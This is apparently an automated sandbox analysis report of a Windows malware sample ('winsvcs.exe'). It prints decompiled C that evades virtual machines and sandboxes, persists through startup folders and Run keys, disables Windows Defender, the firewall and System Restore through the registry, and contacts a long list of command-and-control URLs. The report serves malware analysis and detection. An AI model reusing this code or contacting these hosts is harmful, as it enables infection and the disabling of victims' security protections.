Part of subcall function 00402807: CloseHandle.KERNEL32(?), ref: 004029DE
Part of subcall function 00402807: MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 004029F9
Part of subcall function 00402807: CloseHandle.KERNEL32(00000000), ref: 00402A14
Part of subcall function 00402807: CloseHandle.KERNEL32(000000FF), ref: 00402A20
Part of subcall function 00402807: CloseHandle.KERNEL32(?), ref: 00402A2C
Part of subcall function 00402807: lstrlenA.KERNEL32(?), ref: 00402AA4
Part of subcall function 00402807: memset.MSVCRT ref: 00402ACD
Part of subcall function 00402807: memcpy.MSVCRT ref: 00402B0C
Part of subcall function 00402807: WriteFile.KERNEL32(?,?,00000020,?,00000000), ref: 00402B49
Part of subcall function 00402807: WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00402B69
Part of subcall function 00402807: WriteFile.KERNEL32(?,00000000,000000FF,?,00000000), ref: 00402B8A
Part of subcall function 00402807: WriteFile.KERNEL32(?,000000C4,00000007,?,00000000), ref: 00402BA8
Part of subcall function 00402807: UnmapViewOfFile.KERNEL32(00000000), ref: 00402BB4
Part of subcall function 00402807: CloseHandle.KERNEL32(00000000), ref: 00402BC0
Part of subcall function 00402807: CloseHandle.KERNEL32(000000FF), ref: 00402BCC
Part of subcall function 00402807: CloseHandle.KERNEL32(?), ref: 00402BD8

Sleep.KERNEL32(000003E8), ref: 004058A6
PathFindFileNameW.SHLWAPI(?), ref: 004058F5
SetFileAttributesW.KERNEL32(00000000,00000080), ref: 0040592B
DeleteFileW.KERNEL32(00000000), ref: 00405937
Sleep.KERNEL32(000001F4), ref: 00405942
Sleep.KERNEL32(00000064), ref: 0040596B
FindNextFileW.KERNEL32(000000FF,?), ref: 0040597E

Strings

.exe, xrefs: 0040590A
.7z, xrefs: 0040582C
Recycle.Bin, xrefs: 00405725
C:\Users\user~1\AppData\Local\Temp\Windows Archive Manager.exe, xrefs: 004057D5, 0040580D, 0040584D, 0040588D, 00405951
*.*, xrefs: 0040569A
Windows Archive Manager.exe, xrefs: 00405888
.zip, xrefs: 004057B7
Windows Archive Manager.exe, xrefs: 00405808
.rar, xrefs: 004057EC
Windows Archive Manager.exe, xrefs: 00405848
.tar, xrefs: 0040586C

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: File$Close$Handle$Sleep$CreateFindWrite$InitVariantmemset$CurrentDirectoryNamePathSizeView$AttributesCharCopyDeleteFirstFullInitializeInstanceLowerMappingNextPointerUninitializeUnmaplstrlenmemcpywcsstr
String ID: *.*$.7z$.exe$.rar$.tar$.zip$C:\Users\user~1\AppData\Local\Temp\Windows Archive Manager.exe$Recycle.Bin$Windows Archive Manager.exe$Windows Archive Manager.exe$Windows Archive Manager.exe
API String ID: 1071546012-2179849622
Opcode ID: bece10d3c4440e3d85799687eaf7fd76477ff6acef9d3fc64033dd262c57df21
Instruction ID: a3ae87070bf5d7ea6fd54d0728f8626e91d67db4b1d095a8a1b46c8a366f680f
Opcode Fuzzy Hash: bece10d3c4440e3d85799687eaf7fd76477ff6acef9d3fc64033dd262c57df21
Instruction Fuzzy Hash: B8819372D047189AEB20AB70DD49B9A7379EB04315F5041FAF248F21D0EF7A9A948F1D

Uniqueness

Uniqueness Score: 100.00%

Function 00405533, Relevance: 50.8, APIs: 8, Strings: 21, Instructions: 71
sleeplibraryloaderUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405533() {
				CHAR* _v8;
				CHAR* _v12;
				CHAR* _v16;
				CHAR* _v20;
				CHAR* _v24;
				CHAR* _v28;
				CHAR* _v32;
				CHAR* _v36;
				CHAR* _v40;
				CHAR* _v44;
				CHAR* _v48;
				CHAR* _v52;
				CHAR* _v56;
				CHAR* _v60;
				CHAR* _v64;
				CHAR* _v68;
				CHAR* _v72;
				CHAR* _v76;
				CHAR* _v80;
				struct HINSTANCE__* _v84;
				signed int _v88;
				signed int _v92;
				_Unknown_base(*)()* _t41;
				void* _t46;
				void* _t49;

				_v80 = "python.exe";
				_v76 = "pythonw.exe";
				_v72 = "prl_cc.exe";
				_v68 = "prl_tools.exe";
				_v64 = "vmsrvc.exe";
				_v60 = "vmusrvc.exe";
				_v56 = "xenservice.exe";
				_v52 = "vboxservice.exe";
				_v48 = "vboxtray.exe";
				_v44 = "vboxcontrol.exe";
				_v40 = "vmwareservice.exe";
				_v36 = "vmwaretray.exe";
				_v32 = "tpautoconnsvc.exe";
				_v28 = "vmtoolsd.exe";
				_v24 = "vmwareuser.exe";
				_v20 = "sbiedll.dll";
				_v16 = "sbiedllx.dll";
				_v12 = "dir_watch.dll";
				_v8 = "wpespy.dll";
				_t41 = GetModuleHandleA("kernel32.dll");
				_v84 = _t41;
				if(_v84 != 0) {
					_t41 = GetProcAddress(_v84, "wine_get_unix_file_name");
					if(_t41 != 0) {
						ExitProcess(0);
					}
				}
				Sleep(0x64); // executed
				_v88 = _v88 & 0x00000000;
				while(_v88 < 0xf) {
					_t46 = E004033D1( *((intOrPtr*)(_t49 + _v88 * 4 - 0x4c))); // executed
					if(_t46 != 0) {
						ExitProcess(0);
					}
					_t41 = _v88 + 1;
					_v88 = _t41;
				}
				Sleep(0x64); // executed
				_v92 = _v92 & 0x00000000;
				while(_v92 < 4) {
					if(GetModuleHandleA( *(_t49 + _v92 * 4 - 0x10)) != 0) {
						ExitProcess(0);
					}
					_t41 = _v92 + 1;
					_v92 = _t41;
				}
				return _t41;
			}

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 004055C3
GetProcAddress.KERNEL32(00000000,wine_get_unix_file_name), ref: 004055DA
ExitProcess.KERNEL32 ref: 004055E6
Sleep.KERNEL32(00000064), ref: 004055EE
ExitProcess.KERNEL32 ref: 00405650

Part of subcall function 004033D1: CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 004033DE
Part of subcall function 004033D1: Process32First.KERNEL32(000000FF,00000128), ref: 00403407
Part of subcall function 004033D1: CharLowerA.USER32(?), ref: 0040341E
Part of subcall function 004033D1: CloseHandle.KERNEL32(000000FF), ref: 004034B7
Part of subcall function 004033D1: Process32Next.KERNEL32(000000FF,00000128), ref: 004034CC
Part of subcall function 004033D1: CloseHandle.KERNEL32(000000FF), ref: 004034DC

ExitProcess.KERNEL32 ref: 0040561A
Sleep.KERNEL32(00000064), ref: 00405624
GetModuleHandleA.KERNEL32(00409118), ref: 00405644

Strings

vmusrvc.exe, xrefs: 0040555C
prl_cc.exe, xrefs: 00405547
pythonw.exe, xrefs: 00405540
kernel32.dll, xrefs: 004055BE
sbiedll.dll, xrefs: 004055A2
wine_get_unix_file_name, xrefs: 004055D2
vmsrvc.exe, xrefs: 00405555
prl_tools.exe, xrefs: 0040554E
xenservice.exe, xrefs: 00405563
vboxcontrol.exe, xrefs: 00405578
vmwareuser.exe, xrefs: 0040559B
python.exe, xrefs: 00405539
vmwareservice.exe, xrefs: 0040557F
sbiedllx.dll, xrefs: 004055A9
dir_watch.dll, xrefs: 004055B0
vmwaretray.exe, xrefs: 00405586
vboxtray.exe, xrefs: 00405571
tpautoconnsvc.exe, xrefs: 0040558D
vboxservice.exe, xrefs: 0040556A
wpespy.dll, xrefs: 004055B7
vmtoolsd.exe, xrefs: 00405594

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: Handle$ExitProcess$CloseModuleProcess32Sleep$AddressCharCreateFirstLowerNextProcSnapshotToolhelp32
String ID: dir_watch.dll$kernel32.dll$prl_cc.exe$prl_tools.exe$python.exe$pythonw.exe$sbiedll.dll$sbiedllx.dll$tpautoconnsvc.exe$vboxcontrol.exe$vboxservice.exe$vboxtray.exe$vmsrvc.exe$vmtoolsd.exe$vmusrvc.exe$vmwareservice.exe$vmwaretray.exe$vmwareuser.exe$wine_get_unix_file_name$wpespy.dll$xenservice.exe
API String ID: 1631755162-2780004707
Opcode ID: bc0d7e75a676c49ec111180007f1c957fbc79a7d5f8583c8c990488857ed0d33
Instruction ID: a5b3591f241ac56663d7eef545acc2d3d6be79828b9e130b31df9b9cb3590e4b
Opcode Fuzzy Hash: bc0d7e75a676c49ec111180007f1c957fbc79a7d5f8583c8c990488857ed0d33
Instruction Fuzzy Hash: F631D270D05289DBDB00EFD0D94C69EBBB0FB05309F60843AE506BA2D6C7BA5949CF59

Uniqueness

Uniqueness Score: 100.00%

Function 00405AF4, Relevance: 413.9, APIs: 116, Strings: 120, Instructions: 937
registrysleepfileUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E00405AF4() {
				short _v524;
				char _v528;
				int _v532;
				long _v536;
				short* _v540;
				short* _v544;
				short* _v548;
				short* _v552;
				short* _v556;
				short* _v560;
				short* _v564;
				void _v588;
				short _v1108;
				short _v1164;
				char _v1180;
				void _v1700;
				char _v2220;
				short _v2740;
				void* _v2744;
				short* _v2756;
				short* _v2760;
				short* _v2764;
				short* _v2768;
				short* _v2772;
				short* _v2776;
				short* _v2780;
				short* _v2784;
				short* _v2788;
				short* _v2792;
				short* _v2796;
				short* _v2800;
				short* _v2804;
				short* _v2808;
				short* _v2812;
				short* _v2816;
				short* _v2820;
				short* _v2824;
				short* _v2828;
				short* _v2832;
				short* _v2836;
				short* _v2840;
				short* _v2844;
				short* _v2848;
				short* _v2852;
				short* _v2856;
				short* _v2860;
				short* _v2864;
				short* _v2868;
				short* _v2872;
				short* _v2876;
				short* _v2880;
				short* _v2884;
				short* _v2888;
				short* _v2892;
				short* _v2896;
				short* _v2900;
				short* _v2904;
				short* _v2908;
				short* _v2912;
				short* _v2916;
				short* _v2920;
				short* _v2924;
				short* _v2928;
				short* _v2932;
				short* _v2936;
				short* _v2940;
				short* _v2944;
				short* _v2948;
				short* _v2952;
				short* _v2956;
				short* _v2960;
				short* _v2964;
				short* _v2968;
				short* _v2972;
				short* _v2976;
				short* _v2980;
				short* _v2984;
				short* _v2988;
				short* _v2992;
				short* _v2996;
				short* _v3000;
				short* _v3004;
				short* _v3008;
				short* _v3012;
				short* _v3016;
				short* _v3020;
				short* _v3024;
				short* _v3028;
				short* _v3032;
				short* _v3036;
				intOrPtr _v3040;
				intOrPtr _v3044;
				intOrPtr _v3048;
				intOrPtr _v3052;
				intOrPtr _v3056;
				short _v3580;
				char _v3980;
				void _v4484;
				char _v5004;
				short* _v5008;
				short* _v5012;
				short* _v5016;
				short _v5540;
				void* _v5544;
				signed int _v5548;
				signed int _v5552;
				signed int _v5556;
				signed int _v5560;
				signed int _v5564;
				signed int _v5568;
				void _v6076;
				intOrPtr* _v6080;
				intOrPtr* _v6084;
				signed int _v6086;
				signed int _v6088;
				signed int _v6092;
				signed int _v6096;
				intOrPtr* _v6100;
				intOrPtr _v6104;
				short _v6106;
				signed int _v6112;
				intOrPtr* _v6116;
				intOrPtr _v6120;
				short _v6122;
				signed int _v6128;
				intOrPtr* _v6132;
				intOrPtr _v6136;
				short _v6138;
				signed int _v6144;
				void* _t375;
				int _t400;
				void* _t405;
				void* _t410;
				signed int _t417;
				long _t420;
				long _t422;
				long _t424;
				long _t426;
				long _t428;
				signed char _t432;
				signed int _t434;
				signed char _t448;
				long _t460;
				long _t476;
				long _t483;
				long _t485;
				long _t487;
				long _t490;
				long _t492;
				long _t494;
				int _t577;
				int _t591;
				int _t601;
				void* _t612;
				signed int _t613;
				void* _t638;
				void* _t639;
				void* _t641;
				void* _t648;
				void* _t650;
				void* _t652;
				void* _t653;

				E00406C20(0x17fc, _t612);
				Sleep(0x3e8); // executed
				E00405533(); // executed
				Sleep(0x3e8); // executed
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsb");
				_t613 = 6;
				memcpy( &_v588, L"winsvcs.exe", _t613 << 2);
				_push(0xd);
				memcpy( &_v1164, L"Microsoft Windows Services", 0 << 2);
				_t641 = _t639 + 0x18;
				asm("movsw");
				_v3056 = "t.exe";
				_v3052 = "m.exe";
				_v3048 = "p.exe";
				_v3044 = "s.exe";
				_v3040 = "o.exe";
				_v5016 = L"%windir%";
				_v5012 = L"%userprofile%";
				_v5008 = L"%temp%";
				_v564 = L"AntiVirusOverride";
				_v560 = L"UpdatesOverride";
				_v556 = L"FirewallOverride";
				_v552 = L"AntiVirusDisableNotify";
				_v548 = L"UpdatesDisableNotify";
				_v544 = L"AutoUpdateDisableNotify";
				_v540 = L"FirewallDisableNotify";
				_v3036 = "http://92.63.197.48/";
				_v3032 = "http://iugouehoeohfh.ru/";
				_v3028 = "http://ugoheoheufefu.ru/";
				_v3024 = "http://iefigjgdidisi.ru/";
				_v3020 = "http://ouegouehouseh.ru/";
				_v3016 = "http://riifndisojdoj.ru/";
				_v3012 = "http://inigbiseijfji.ru/";
				_v3008 = "http://udunfjgussiid.ru/";
				_v3004 = "http://eiisisiysjsif.ru/";
				_v3000 = "http://iriototooeuwo.ru/";
				_v2996 = "http://nkihigheogojg.ru/";
				_v2992 = "http://iugouehoeohfh.su/";
				_v2988 = "http://ugoheoheufefu.su/";
				_v2984 = "http://iefigjgdidisi.su/";
				_v2980 = "http://ouegouehouseh.su/";
				_v2976 = "http://riifndisojdoj.su/";
				_v2972 = "http://inigbiseijfji.su/";
				_v2968 = "http://udunfjgussiid.su/";
				_v2964 = "http://eiisisiysjsif.su/";
				_v2960 = "http://iriototooeuwo.su/";
				_v2956 = "http://nkihigheogojg.su/";
				_v2952 = "http://iugouehoeohfh.in/";
				_v2948 = "http://ugoheoheufefu.in/";
				_v2944 = "http://iefigjgdidisi.in/";
				_v2940 = "http://ouegouehouseh.in/";
				_v2936 = "http://riifndisojdoj.in/";
				_v2932 = "http://inigbiseijfji.in/";
				_v2928 = "http://udunfjgussiid.in/";
				_v2924 = "http://eiisisiysjsif.in/";
				_v2920 = "http://iriototooeuwo.in/";
				_v2916 = "http://nkihigheogojg.in/";
				_v2912 = "http://iugouehoeohfh.net/";
				_v2908 = "http://ugoheoheufefu.net/";
				_v2904 = "http://iefigjgdidisi.net/";
				_v2900 = "http://ouegouehouseh.net/";
				_v2896 = "http://riifndisojdoj.net/";
				_v2892 = "http://inigbiseijfji.net/";
				_v2888 = "http://udunfjgussiid.net/";
				_v2884 = "http://eiisisiysjsif.net/";
				_v2880 = "http://iriototooeuwo.net/";
				_v2876 = "http://nkihigheogojg.net/";
				_v2872 = "http://iugouehoeohfh.com/";
				_v2868 = "http://ugoheoheufefu.com/";
				_v2864 = "http://iefigjgdidisi.com/";
				_v2860 = "http://ouegouehouseh.com/";
				_v2856 = "http://riifndisojdoj.com/";
				_v2852 = "http://inigbiseijfji.com/";
				_v2848 = "http://udunfjgussiid.com/";
				_v2844 = "http://eiisisiysjsif.com/";
				_v2840 = "http://iriototooeuwo.com/";
				_v2836 = "http://nkihigheogojg.com/";
				_v2832 = "http://iugouehoeohfh.biz/";
				_v2828 = "http://ugoheoheufefu.biz/";
				_v2824 = "http://iefigjgdidisi.biz/";
				_v2820 = "http://ouegouehouseh.biz/";
				_v2816 = "http://riifndisojdoj.biz/";
				_v2812 = "http://inigbiseijfji.biz/";
				_v2808 = "http://udunfjgussiid.biz/";
				_v2804 = "http://eiisisiysjsif.biz/";
				_v2800 = "http://iriototooeuwo.biz/";
				_v2796 = "http://nkihigheogojg.biz/";
				_v2792 = "http://iugouehoeohfh.info/";
				_v2788 = "http://ugoheoheufefu.info/";
				_v2784 = "http://iefigjgdidisi.info/";
				_v2780 = "http://ouegouehouseh.info/";
				_v2776 = "http://riifndisojdoj.info/";
				_v2772 = "http://inigbiseijfji.info/";
				_v2768 = "http://udunfjgussiid.info/";
				_v2764 = "http://eiisisiysjsif.info/";
				_v2760 = "http://iriototooeuwo.info/";
				_v2756 = "http://nkihigheogojg.info/";
				_t375 = CreateMutexA(0, 0,  &_v1180); // executed
				_v5544 = _t375;
				if(GetLastError() != 0xb7) {
					_v2744 = _v2744 & 0x00000000;
					_v528 = 1;
					memset( &_v2740, 0, 0x208);
					memset( &_v3580, 0, 0x208);
					memset( &_v2220, 0, 0x208);
					memset( &_v1700, 0, 0x208);
					memset( &_v5540, 0, 0x208);
					__imp__#115(0x202,  &_v3980); // executed
					GetModuleFileNameW(0,  &_v2740, 0x208);
					_push( &_v2740);
					_push(L"%ls:Zone.Identifier");
					_push(0x208);
					_push( &_v3580);
					L00401030();
					DeleteFileW( &_v3580); // executed
					Sleep(0x1f4); // executed
					ExpandEnvironmentStringsW(L"%systemdrive%",  &_v1700, 0x208);
					_push( &_v588);
					_push( &_v1700);
					_push(L"%ls\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\%ls");
					_push(0x208);
					_push( &_v5540);
					L00401030();
					_t648 = _t641 + 0x60;
					_t400 = PathFileExistsW( &_v5540); // executed
					if(_t400 == 0 && CopyFileW( &_v2740,  &_v5540, 0) != 0) {
						SetFileAttributesW( &_v5540, 7);
					}
					Sleep(0x1f4); // executed
					memset( &_v1700, 0, 0x208);
					memset( &_v5540, 0, 0x208);
					_t650 = _t648 + 0x18;
					_t405 =  &_v1700;
					__imp__SHGetFolderPathW(0, 0x1e, 0, 0, _t405); // executed
					if(_t405 == 0) {
						_push( &_v588);
						_push( &_v1700);
						_push(L"%ls\\%ls");
						_push(0x208);
						_push( &_v5540);
						L00401030();
						_t650 = _t650 + 0x14;
						_t601 = PathFileExistsW( &_v5540); // executed
						if(_t601 == 0 && CopyFileW( &_v2740,  &_v5540, 0) != 0) {
							SetFileAttributesW( &_v5540, 7);
						}
					}
					Sleep(0x1f4); // executed
					memset( &_v1700, 0, 0x208);
					memset( &_v5540, 0, 0x208);
					_t652 = _t650 + 0x18;
					_t410 =  &_v1700;
					__imp__SHGetFolderPathW(0, 0x17, 0, 0, _t410); // executed
					if(_t410 == 0) {
						_push( &_v588);
						_push( &_v1700);
						_push(L"%ls\\%ls");
						_push(0x208);
						_push( &_v5540);
						L00401030();
						_t652 = _t652 + 0x14;
						_t591 = PathFileExistsW( &_v5540); // executed
						if(_t591 == 0 && CopyFileW( &_v2740,  &_v5540, 0) != 0) {
							SetFileAttributesW( &_v5540, 7);
						}
					}
					Sleep(0x1f4); // executed
					_v5548 = _v5548 & 0x00000000;
					while(_v5548 < 3) {
						memset( &_v1108, 0, 0x208);
						memset( &_v524, 0, 0x208);
						memset( &_v5004, 0, 0x208);
						ExpandEnvironmentStringsW( *(_t638 + _v5548 * 4 - 0x1394),  &_v1108, 0x208);
						_push( &_v1108);
						_push(L"%ls\\T-495050303005030");
						_push(0x208);
						_push( &_v524);
						L00401030();
						_push( &_v588);
						_push( &_v524);
						_push(L"%ls\\%ls");
						_push(0x208);
						_push( &_v5004);
						L00401030();
						_t652 = _t652 + 0x48;
						_t577 = PathFileExistsW( &_v5004); // executed
						if(_t577 == 0) {
							if(PathFileExistsW( &_v524) == 0) {
								CreateDirectoryW( &_v524, 0);
							}
							if(CopyFileW( &_v2740,  &_v5004, 0) == 0) {
								Sleep(0x1f4);
								_v5548 = _v5548 + 1;
								continue;
							} else {
								break;
							}
						}
						break;
					}
					_push( &_v1164);
					_push( &_v5004);
					_push(L"%ls:*:Enabled:%s");
					_push(0x208);
					_push( &_v2220);
					L00401030();
					_t653 = _t652 + 0x14;
					_v6080 =  &_v5004;
					_v6084 =  &_v2740;
					while(1) {
						_t417 =  *_v6084;
						_v6086 = _t417;
						if(_t417 !=  *_v6080) {
							break;
						}
						if(_v6086 == 0) {
							L28:
							_v6092 = _v6092 & 0x00000000;
							L30:
							_v6096 = _v6092;
							if(_v6096 == 0) {
								Sleep(0x1f4); // executed
								_t420 = RegOpenKeyExW(0x80000002, L"SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List\\", 0, 0xf003f,  &_v2744); // executed
								if(_t420 != 0) {
									L46:
									Sleep(0x1f4); // executed
									_t422 = RegOpenKeyExW(0x80000002, L"SOFTWARE\\Policies\\Microsoft\\Windows Defender\\", 0, 0xf003f,  &_v2744); // executed
									if(_t422 == 0) {
										_t483 = RegQueryValueExW(_v2744, L"DisableAntiSpyware", 0,  &_v532, 0, 0); // executed
										_v536 = _t483;
										if(_v536 != 0) {
											RegSetValueExW(_v2744, L"DisableAntiSpyware", 0, 4,  &_v528, 4);
										}
										_t485 = RegOpenKeyExW(0x80000002, L"SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", 0, 0xf003f,  &_v2744); // executed
										if(_t485 != 0) {
											RegCreateKeyExA(0x80000002, "SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", 0, 0, 0, 0x20006, 0,  &_v2744, 0);
										}
										_t487 = RegOpenKeyExW(0x80000002, L"SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\", 0, 0xf003f,  &_v2744); // executed
										if(_t487 == 0) {
											_t490 = RegQueryValueExW(_v2744, L"DisableScanOnRealtimeEnable", 0,  &_v532, 0, 0); // executed
											_v536 = _t490;
											if(_v536 != 0) {
												RegSetValueExW(_v2744, L"DisableScanOnRealtimeEnable", 0, 4,  &_v528, 4);
											}
											_t492 = RegQueryValueExW(_v2744, L"DisableOnAccessProtection", 0,  &_v532, 0, 0); // executed
											_v536 = _t492;
											if(_v536 != 0) {
												RegSetValueExW(_v2744, L"DisableOnAccessProtection", 0, 4,  &_v528, 4);
											}
											_t494 = RegQueryValueExW(_v2744, L"DisableBehaviorMonitoring", 0,  &_v532, 0, 0); // executed
											_v536 = _t494;
											if(_v536 != 0) {
												RegSetValueExW(_v2744, L"DisableBehaviorMonitoring", 0, 4,  &_v528, 4);
											}
											RegCloseKey(_v2744);
										}
										RegCloseKey(_v2744);
									}
									Sleep(0x1f4); // executed
									_t424 = RegOpenKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Security Center\\", 0, 0xf003f,  &_v2744); // executed
									if(_t424 != 0) {
										L68:
										Sleep(0x1f4); // executed
										_t426 = RegOpenKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Security Center\\Svc\\", 0, 0xf003f,  &_v2744); // executed
										if(_t426 != 0) {
											L76:
											Sleep(0x1f4); // executed
											_t428 = RegOpenKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore\\", 0, 0xf003f,  &_v2744); // executed
											if(_t428 == 0) {
												_t460 = RegQueryValueExW(_v2744, L"DisableSR", 0,  &_v532, 0, 0); // executed
												_v536 = _t460;
												if(_v536 != 0) {
													RegSetValueExW(_v2744, L"DisableSR", 0, 4,  &_v528, 4); // executed
												}
												RegCloseKey(_v2744);
											}
											Sleep(0x1f4); // executed
											CreateThread(0, 0, E004041B2, 0, 0, 0); // executed
											Sleep(0x1f4); // executed
											CreateThread(0, 0, E00402689, 0, 0, 0); // executed
											Sleep(0x1f4); // executed
											CreateThread(0, 0, E004054CE, 0, 0, 0); // executed
											Sleep(0x1f4); // executed
											_t432 = E00403527(); // executed
											if((_t432 & 0x000000ff) == 0) {
												L85:
												Sleep(0x1f4);
												while(1) {
													Sleep(0x1f4);
													_v5564 = _v5564 & 0x00000000;
													while(_v5564 < 0x47) {
														Sleep(0x1f4);
														memset( &_v4484, 0, 0x1f4);
														_push( *((intOrPtr*)(_t638 + _v5564 * 4 - 0xbd8)));
														_push("%s");
														_push(0x1f4);
														_push( &_v4484);
														L00401066();
														_t653 = _t653 + 0x1c;
														_v5568 = _v5568 & 0x00000000;
														while(_v5568 < 5) {
															Sleep(0x1f4); // executed
															memset( &_v6076, 0, 0x1f4);
															_push( *((intOrPtr*)(_t638 + _v5568 * 4 - 0xbec)));
															_push( &_v4484);
															_push("%s%s");
															_push(0x1f4);
															_push( &_v6076);
															L00401066();
															_t653 = _t653 + 0x20;
															_t448 = E00402BE5( &_v6076); // executed
															if((_t448 & 0x000000ff) != 0) {
																CreateThread(0, 0, E0040436A,  &_v6076, 0, 0); // executed
															}
															_v5568 = _v5568 + 1;
														}
														_v5564 = _v5564 + 1;
													}
													_t434 = rand();
													asm("cdq");
													Sleep(0x2710 + _t434 % 0xea60 * 5);
												}
											} else {
												Sleep(0x1f4); // executed
												CreateThread(0, 0, E0040599A, 0, 0, 0); // executed
												Sleep(0x1f4);
												_v5560 = _v5560 & 0x00000000;
												while(_v5560 < 0x47) {
													Sleep(0x1f4); // executed
													E0040324B( *((intOrPtr*)(_t638 + _v5560 * 4 - 0xbd8))); // executed
													_v5560 = _v5560 + 1;
												}
												goto L85;
											}
										}
										_v5556 = _v5556 & 0x00000000;
										while(_v5556 < 7) {
											_v536 = RegQueryValueExW(_v2744,  *(_t638 + _v5556 * 4 - 0x230), 0,  &_v532, 0, 0);
											if(_v536 != 0) {
												RegSetValueExW(_v2744,  *(_t638 + _v5556 * 4 - 0x230), 0, 4,  &_v528, 4);
											}
											_v5556 = _v5556 + 1;
										}
										RegCloseKey(_v2744);
										goto L76;
									} else {
										_v5552 = _v5552 & 0x00000000;
										while(_v5552 < 7) {
											_t476 = RegQueryValueExW(_v2744,  *(_t638 + _v5552 * 4 - 0x230), 0,  &_v532, 0, 0); // executed
											_v536 = _t476;
											if(_v536 != 0) {
												RegSetValueExW(_v2744,  *(_t638 + _v5552 * 4 - 0x230), 0, 4,  &_v528, 4); // executed
											}
											_v5552 = _v5552 + 1;
										}
										RegCloseKey(_v2744);
										goto L68;
									}
								}
								_v536 = RegQueryValueExW(_v2744,  &_v1164, 0,  &_v532, 0, 0);
								if(_v536 == 0) {
									L45:
									RegCloseKey(_v2744);
									goto L46;
								}
								_v6132 =  &_v2220;
								_v6136 = _v6132 + 2;
								do {
									_v6138 =  *_v6132;
									_v6132 = _v6132 + 2;
								} while (_v6138 != 0);
								_v6144 = _v6132 - _v6136 >> 1;
								RegSetValueExW(_v2744,  &_v5004, 0, 1,  &_v2220, _v6144 + _v6144 + 2);
								goto L45;
							}
							SetFileAttributesW( &_v524, 7);
							SetFileAttributesW( &_v5004, 7);
							if(RegOpenKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0xf003f,  &_v2744) != 0) {
								L35:
								if(RegOpenKeyExW(0x80000001, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0xf003f,  &_v2744) != 0) {
									L39:
									E004035DF( &_v5004);
									Sleep(0x1f4);
									ExitProcess(0);
								}
								_v6116 =  &_v5004;
								_v6120 = _v6116 + 2;
								do {
									_v6122 =  *_v6116;
									_v6116 = _v6116 + 2;
								} while (_v6122 != 0);
								_v6128 = _v6116 - _v6120 >> 1;
								RegSetValueExW(_v2744,  &_v1164, 0, 1,  &_v5004, _v6128 + _v6128 + 2);
								RegCloseKey(_v2744);
								goto L39;
							}
							_v6100 =  &_v5004;
							_v6104 = _v6100 + 2;
							do {
								_v6106 =  *_v6100;
								_v6100 = _v6100 + 2;
							} while (_v6106 != 0);
							_v6112 = _v6100 - _v6104 >> 1;
							RegSetValueExW(_v2744,  &_v1164, 0, 1,  &_v5004, _v6112 + _v6112 + 2);
							RegCloseKey(_v2744);
							goto L35;
						}
						_t417 =  *((intOrPtr*)(_v6084 + 2));
						_v6088 = _t417;
						if(_t417 !=  *((intOrPtr*)(_v6080 + 2))) {
							break;
						}
						_v6084 = _v6084 + 4;
						_v6080 = _v6080 + 4;
						if(_v6088 != 0) {
							continue;
						}
						goto L28;
					}
					asm("sbb eax, eax");
					asm("sbb eax, 0xffffffff");
					_v6092 = _t417;
					goto L30;
				}
				ExitProcess(0);
			}

0x00405afc
0x00405b08
0x00405b0e
0x00405b18
0x00405b29
0x00405b2a
0x00405b2b
0x00405b2c
0x00405b2f
0x00405b3b
0x00405b3d
0x00405b4b
0x00405b4b
0x00405b4d
0x00405b4f
0x00405b59
0x00405b63
0x00405b6d
0x00405b77
0x00405b81
0x00405b8b
0x00405b95
0x00405b9f
0x00405ba9
0x00405bb3
0x00405bbd
0x00405bc7
0x00405bd1
0x00405bdb
0x00405be5
0x00405bef
0x00405bf9
0x00405c03
0x00405c0d
0x00405c17
0x00405c21
0x00405c2b
0x00405c35
0x00405c3f
0x00405c49
0x00405c53
0x00405c5d
0x00405c67
0x00405c71
0x00405c7b
0x00405c85
0x00405c8f
0x00405c99
0x00405ca3
0x00405cad
0x00405cb7
0x00405cc1
0x00405ccb
0x00405cd5
0x00405cdf
0x00405ce9
0x00405cf3
0x00405cfd
0x00405d07
0x00405d11
0x00405d1b
0x00405d25
0x00405d2f
0x00405d39
0x00405d43
0x00405d4d
0x00405d57
0x00405d61
0x00405d6b
0x00405d75
0x00405d7f
0x00405d89
0x00405d93
0x00405d9d
0x00405da7
0x00405db1
0x00405dbb
0x00405dc5
0x00405dcf
0x00405dd9
0x00405de3
0x00405ded
0x00405df7
0x00405e01
0x00405e0b
0x00405e15
0x00405e1f
0x00405e29
0x00405e33
0x00405e3d
0x00405e47
0x00405e51
0x00405e5b
0x00405e65
0x00405e6f
0x00405e79
0x00405e83
0x00405e8d
0x00405e97
0x00405ea1
0x00405eb6
0x00405ebc
0x00405ecd
0x00405ed7
0x00405ede
0x00405ef6
0x00405f0c
0x00405f22
0x00405f38
0x00405f4e
0x00405f62
0x00405f76
0x00405f82
0x00405f83
0x00405f88
0x00405f93
0x00405f94
0x00405fa3
0x00405fae
0x00405fc5
0x00405fd1
0x00405fd8
0x00405fd9
0x00405fde
0x00405fe9
0x00405fea
0x00405fef
0x00405ff9
0x00406001
0x00406026
0x00406026
0x00406031
0x00406045
0x0040605b
0x00406060
0x00406063
0x00406072
0x0040607a
0x00406082
0x00406089
